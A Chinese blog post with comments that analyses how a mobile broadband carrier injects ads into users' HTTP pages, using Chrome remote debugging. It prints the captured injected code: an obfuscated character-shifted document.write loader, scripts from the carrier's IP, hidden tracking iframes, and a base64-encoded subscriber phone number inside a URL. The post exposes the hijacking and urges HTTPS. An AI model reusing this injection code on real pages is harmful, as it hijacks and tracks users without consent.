移动宽带丧心病狂的流量劫持
流量劫持情况
最近我发现在住处的江苏移动宽带网络环境下用手机浏览一些 HTTP 网站很容易出现和网站内容明显不符的抢红包广告,有时候页面会显示错乱,而在 PC 端打开同样的网址又没有问题。这种情况只在 HTTP 网站上碰到过,初步判断这就是移动宽带一贯使用的流量劫持把戏。
被劫持的网页在手机端显示起来是这样的:
页面中间的浮标和页面下方的开红包图标都明显不是原始网站投放的广告。这种劫持行为一般在手机浏览器上刷新一下就暂时没有了,但很多情况下会碰到运营商插入的广告导致移动端网页布局出现异常,无法正常使用。
劫持情况分析
由于直接在 PC 端打开被劫持的网址很可能不会出现被插入广告的情况,模拟手机浏览器 user agent 也要碰运气才能出现,因此我直接使用 Android Chrome 浏览器的远程调试功能来进行分析。
打开 Android 的 USB 调试功能,通过数据线连接电脑,在 PC 端 Chrome 浏览器上进入:chrome://inspect/#devices
就能看到连接上的 Android 手机上 Chrome 浏览器打开的标签页,为了方便调试和安利给大家,我使用的是直接基于 Chrome 的 Chromebook 设备:
点击标签页下方的 inspect
按钮就可以远程调试了。
在 Elements 调试界面可以看到运营商在网页 </body>
结束之前插入了两个 div:tuia-fubiao
和 tuia-customer
,更恶心的是下面还加了一个隐藏的 iframe
。
不过看了被劫持之后实际的网页源代码你才能感受到移动宽带的丧心病狂,首先网页 <head>
标签之后就插入了奇奇怪怪的广告代码:
<html lang="zh-CN" prefix="og: http://ogp.me/ns#" class=" js rgba borderradius boxshadow textshadow opacity cssanimations cssgradients csstransitions fontface generatedcontent video audio js"> <!-- BEGIN head --> <head> <script src="https://engine.tuia.cn/api/v1/activity/spm4web?type=0&adslot_id=1180&app_key=34J8hJmWWs5CArNgfbjAzReG2hRK&activity_id=3000000024%2C3613&ua=Mozilla%2F5.0%20(Linux%3B%20Android%206.0.1%3B%20ASUS_Z00AD%20Build%2FMMB29P)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F57.0.2987.132%20Mobile%20Safari%2F537.36&os_type=&device_id=QjotWKjhRBHLKsYJlCzM1493608315747&token=1493608315732&time=1493608316137&wdata_token=34J8hJmWWs5CArNgfbjAzReG2hRKTJfWvzV0zCtEGT1guzhG1493608315751&spm_id=34J8hJmWWs5CArNgfbjAzReG2hRK1VQvIKrTPbIdBvb0xx871493608316140&callback=jsonp_0q7no0fhvv36mq9" async=""></script> <script src="https://engine.tuia.cn/api/v1/activity/spm4web?type=0&adslot_id=927&app_key=34J8hJmWWs5CArNgfbjAzReG2hRK&activity_id=2000000418&ua=Mozilla%2F5.0%20(Linux%3B%20Android%206.0.1%3B%20ASUS_Z00AD%20Build%2FMMB29P)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F57.0.2987.132%20Mobile%20Safari%2F537.36&os_type=&device_id=QjotWKjhRBHLKsYJlCzM1493608315747&token=1493608315756&time=1493608316119&wdata_token=34J8hJmWWs5CArNgfbjAzReG2hRKTJfWvzV0zCtEGT1guzhG1493608315751&spm_id=34J8hJmWWs5CArNgfbjAzReG2hRKTkxmCuzebbLxiPLAaf0S1493608316129&callback=jsonp_w4rcxsrtl47vpid" async=""></script> <script src="https://engine.tuia.cn/api/v1/activity/get4web?request_id=34J8hJmWWs5CArNgfbjAzReG2hRKKtfJakUIBYbHCqfburmv1493608315757&api_version=1.0.0&app_key=34J8hJmWWs5CArNgfbjAzReG2hRK&app_version=1.0.0&app_package=&adslot_id=927&device_type=&os_type=&os_info=&vendor=&model=&screen_size=360*640&device_id=QjotWKjhRBHLKsYJlCzM1493608315747&connection_type=&operator_type=&cellular_id=&ap_mac=&rssi=&ap_name=&wifi_type=&hotspot_type=&geolocation=true&coordinate_type=&longitude=&latitude=&timestamp=&token=1493608315756&time=1493608315756&wdata_token=34J8hJmWWs5CArNgfbjAzReG2hRKTJfWvzV0zCtEGT1guzhG1493608315751&callback=jsonp_9lyfpalx27d62fk" async=""></script> <script src="https://engine.tuia.cn/api/v1/activity/get4web?request_id=34J8hJmWWs5CArNgfbjAzReG2hRKl2K0dtAdcAFOYVPamLi11493608315743&api_version=1.0.0&app_key=34J8hJmWWs5CArNgfbjAzReG2hRK&app_version=1.0.0&app_package=&adslot_id=1180&device_type=&os_type=&os_info=&vendor=&model=&screen_size=360*640&device_id=QjotWKjhRBHLKsYJlCzM1493608315747&connection_type=&operator_type=&cellular_id=&ap_mac=&rssi=&ap_name=&wifi_type=&hotspot_type=&geolocation=true&coordinate_type=&longitude=&latitude=&timestamp=&token=1493608315732&time=1493608315737&wdata_token=34J8hJmWWs5CArNgfbjAzReG2hRKTJfWvzV0zCtEGT1guzhG1493608315751&callback=jsonp_5jm97edzjaj18j0" async=""></script>
移动宽带在 <head>
的网站原有 script 脚本中间还硬插了一段:
<script src="http://112.4.23.122:8848/a_zdyjs.js?aorlu=aHR0cDovL3d3dy5jbGI2LmNvbS5jbi94bWxrZXkvaHRtbC9keXNqL28tdHQtdGFqcy5qcw==&adid=360523&tcca=MTM5NTE3NzE2NjU=&urip=100.65.241.248&stpt=0&edpt=0&orlu=aHR0cDovL2Jsb2cuam9iYm9sZS5jb20vMTExMDM4Lw==&spid=176150497705350&area=0&motn=1477554323&saas=134352896&p7arm=1&p8arm=0&psad=3232268039&atid=1&paat=0&aaid=0&isaa=0&envs=0&ckts=1493608314&type=2&teid=65459&acst=1&swvi=5277681751310447" type="text/javascript"></script>
连 CSS 也别想幸免,</head>
结束也插入了一段,这里的 CSS 代码太长我就不全部贴出来了:
<style type="text/css"> #tuia-customer{position:fixed;bottom:0;left:0;width:100%;} #tuia-fubiao{position: fixed;right: 7.5px;top: 250px;overflow: initial;width: 75px; height: 75px; z-index: 2147483647;} </style> <style type="text/css"> .tuia-media{position:relative;overflow:hidden;width:100%;max-width:100%} .tuia-media,.tuia-media *{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box} .tuia-media .tuia-media-close{position:absolute;top:0;right:0;width:22.5px;height:22.5px;background-image:url(//yun.duiba.com.cn/static/jssdk/e9fa2ce7753ea10e0425f4c7e71d941b.png);background-repeat:no-repeat;background-position:100% 0;-webkit-background-size:15px 15px;background-size:15px 15px} </style> ......
至于 </body>
结束之前插入的广告代码是这样的:
<!-- END html --> <div id="tuia-fubiao"> <div class="tuia-media" id="TuiaMediaID_1493608316134"><div class="tuia-media-close" style="background-image:url(https://yun.duiba.com.cn/upload/4UyUC1480924005775.png)"></div> <img class="tuia-media-pic" src="https://yun.duiba.com.cn/tuia-media/img/82ejm1th2s.gif"> </div> </div> <div id="tuia-customer"> <div class="tuia-media" id="TuiaMediaID_1493608316116"><img class="tuia-media-pic" src="https://yun.duiba.com.cn/tuia-media/img/qhszjuf9kr.gif"></div> </div> <script src="http://yun.duiba.com.cn/static/jssdk/media-2.2.2.min.js"></script> <div style="display: none;"> <iframe src="http://www.clb6.com.cn/xmlkey/stat.html?zym=s95&sid=1261769958" width="0" height="0"></iframe> </div> </body> </html>
面对这样被改的面目全非的网页源代码,我简直是无语到极点。移动宽带为了插广告使用这种下作的劫持方式,也难怪手机浏览器上很容易碰到被劫持后一些移动版网站显示错乱的问题了。
另一种流量劫持
另外使用移动宽带在手机端上网还可能碰到一种比较常见和看起来稍微「良心」一点的劫持方式。
这是我用 Android Chrome 浏览器访问 少数派 网站时碰到的劫持情况,被劫持的网页代码变成这样:
<html> <head> <script>var d="=iunm?=ifbe?=0ifbe?=cpez!je>#c#!tuzmf>#pwfsgmpx.z;!ijeefo<#!sjhiuNbshjo>1!upqNbshjo>1!mfguNbshjo>1!tdspmm>op?=0cpez?=tdsjqu!tsd>#iuuq;00223/5/34/233;99590b`ig`cpuupn/kt@beje>471494'uddb>NUN6OUF4O{F3OkV>'vsjq>211/76/352/359'tuqu>1'fequ>1'psmv>bIS1dEpwM4O{dHGqMnOwcT:1ZXdwZX6ldn:q[B>>'bpsmv>bIS1dEpwM4e4ez6kcHJ3MnOwcT6kcj:5cX";function i(_,__){_+=__;var $="";for(var u=0;u<_.length;u++){var r=_.charCodeAt(u);$+=String.fromCharCode(r-1);}return $;} var c="ys[YlwbISucD:lfYOrM39ueIRuNT6peH2t'tqje>287275596954112'bsfb>1'q2bsn>86'q3bsn>1'q4bsn>1'q5bsn>6'q6bsn>4'q7bsn>2'bqqe>1'ibtDpvou>1'ibtXijufVtfs>1'npuo>2588665434'tbbt>2454639:7'q8bsn>2'q9bsn>1'qtbe>434337914:'buje>2'qbbu>1'bbje>1'jtbb>1'fowt>1'dlut>25:4745::6'uzqf>3'ufje>7656:'bdtu>2'txwj>6388792862421558#?=0tdsjqu?=0iunm?";document.write(i(d,c));</script> </head> <body id="b" style="overflow-y: hidden;" rightmargin="0" topmargin="0" leftmargin="0" scroll="no"> <div id="a" style="border:0px;overflow:hidden;position:absolute;bottom:0px;width:100%;height:75"> <iframe src="http://www.clb6.com.cn/xmlkey/html/dysj/o-tt-1.html?spid=176164485843001" width="100%" height="100%" frameborder="0" scrolling="no"></iframe> <iframe src="http://112.4.23.122:8848/a/spd?adid=360383&tcca=MTM5NTE3NzE2NjU=&urip=100.65.241.248&stpt=0&edpt=0&orlu=aHR0cDovL3NzcGFpLmNvbS90YWcvYW5kcm9pZA==&aorlu=aHR0cDovL3d3dy5jbGI2LmNvbS5jbi94bWxrZXkvaHRtbC9keXNqL28tdHQtMS5odG1s&spid=176164485843001&area=0&p1arm=75&p2arm=0&p3arm=0&p4arm=5&p5arm=3&p6arm=1&appd=0&hasCount=0&hasWhiteUser=0&motn=1477554323&saas=134352896&p7arm=1&p8arm=0&psad=3232268039&atid=1&paat=0&aaid=0&isaa=0&envs=0&ckts=1493634995&type=2&teid=65459&acst=1&swvi=5277681751310447&usgt=TW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDYuMC4xOyBBU1VTX1owMEFEIEJ1aWxkL01NQjI5UCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCUyQyBsaWtlIEdlY2tvKSBDaHJvbWUvNTcuMC4yOTg3LjEzMiBNb2JpbGUgU2FmYXJpLzUzNy4zNg==&pushFlag=1" style="display:none"></iframe> <img id="close" onclick="closeAd()" alt="Close" src="http://112.4.23.122:8848/close.gif" style="position:absolute;right:5px;top:5px;overflow:hidden;border:1px solid;border-color:white;background-color:#EFF7FE;width:12px;height:10px;font-family:System;cursor:hand;z-index:9999;"> </div> <div id="c" style="border:0px;overflow:hidden;width:100%;height:100%"> <iframe name="cn" src="http://sspai.com/tag/android?t=1493634994258" frameborder="0" width="100%" height="100%" scrolling="auto"></iframe> </div> </body> </html>
这是最常见的 iframe 劫持方式,外面的广告代码套上源网站,只能说好歹还没有直接魔改源网站的代码,另外插入的广告代码同样来自 112.4.23.122
这个 IP 地址。
查询之后发现该 IP 地址是:江苏省南京市 全省共用出口 移动,很明显这些流量劫持行为是南京移动宽带内部人员为利益驱使而做的。
后续处理
发现移动宽带的流量劫持行为之后,我首先与南京移动联系进行了投诉,不出所料移动客服又是一番先坚决不承认然后让提供技术证明的节奏,直到我威胁要投诉到工信部,移动才表态愿意处理此问题。
投诉之后的十几天手机访问一些 HTTP 的网站确实没见到广告劫持了,然而好景不长,前些天又在手机上看到了插入的广告,无奈我先在路由器上直接屏蔽了劫持代码中的 IP 地址和网站域名,而且最近马上要搬家换住处了,可能也不会继续用移动宽带了,因此就没有兴趣继续跟进此事咯。
当然目前最好的应对方式还是希望众多网站能尽快切换到全站 HTTPS 了,文章开头截图里被劫持的 伯乐在线 网站仍然在用 HTTP,国内移动互联网流量的大头 微信公众号 也没有切换到 HTTPS(我也碰到过公众号文章被劫持插入代码的情况)。
比较欣慰的是我写这篇文章的时候,少数派 网站看起来也已经使用 HTTPS 了,最后祝大家儿童节快乐 ^_^。
dater:
2017年06月26日 星期一 11:28上午
手机用流量上网百度,搜索后网址变成10.0.XXX,然后搜索结果多了个广告
Uranus Zhou:
2017年06月26日 星期一 02:41下午
哈哈,现在移动端劫持越来越多咯
南京:
2017年07月03日 星期一 05:24下午
马勒戈壁,我也在投诉南京移动,狗日的客服和技术打死不承认
Uranus Zhou:
2017年07月04日 星期二 05:17下午
直接跟他们说要投诉到工信部,我现在用的广电宽带更彻底,工信部那个网站不翻墙就打不开 -_-#。
KIMI:
2017年07月06日 星期四 11:19下午
朋友,我也碰到这样的情况! 你现在解决了吗?
KIMI:
2017年07月06日 星期四 11:23下午
我现在在排查js 看看是不是js里面挂了马!去掉js的纯html 页面还在观查 看看还会不会出现这种情况!
Uranus Zhou:
2017年07月07日 星期五 03:14下午
我是直接在路由器上屏蔽了这些广告IP地址和域名…
ZY:
2017年07月15日 星期六 09:33下午
我也发现了这个问题,太恶心了
爱德华`斯诺登:
2017年09月02日 星期六 01:24下午
112.4.23.122是移动的iPush劫持.
iPush网址中tcca是加密的宽带帐号,你的手机是139517716**?
网址中usgt是客户端识别,你是华硕ZENFONE 2?
100%是移动劫持的.
是广西正邦文化传播有限公司,还有江苏移动干的.
Uranus Zhou:
2017年09月03日 星期日 04:03下午
那个手机号是室友办宽带的账户,看代码就肯定是江苏移动干的咯,现在也算逃离不用了。
张三:
2017年09月13日 星期三 06:19下午
电信也出现这种情况了。。。死活不承认
http://61.128.117.213:8848/a_zdyjs.js
人参和醋不相逢:
2018年01月08日 星期一 05:21下午
最近又开始了。。南京移动。。。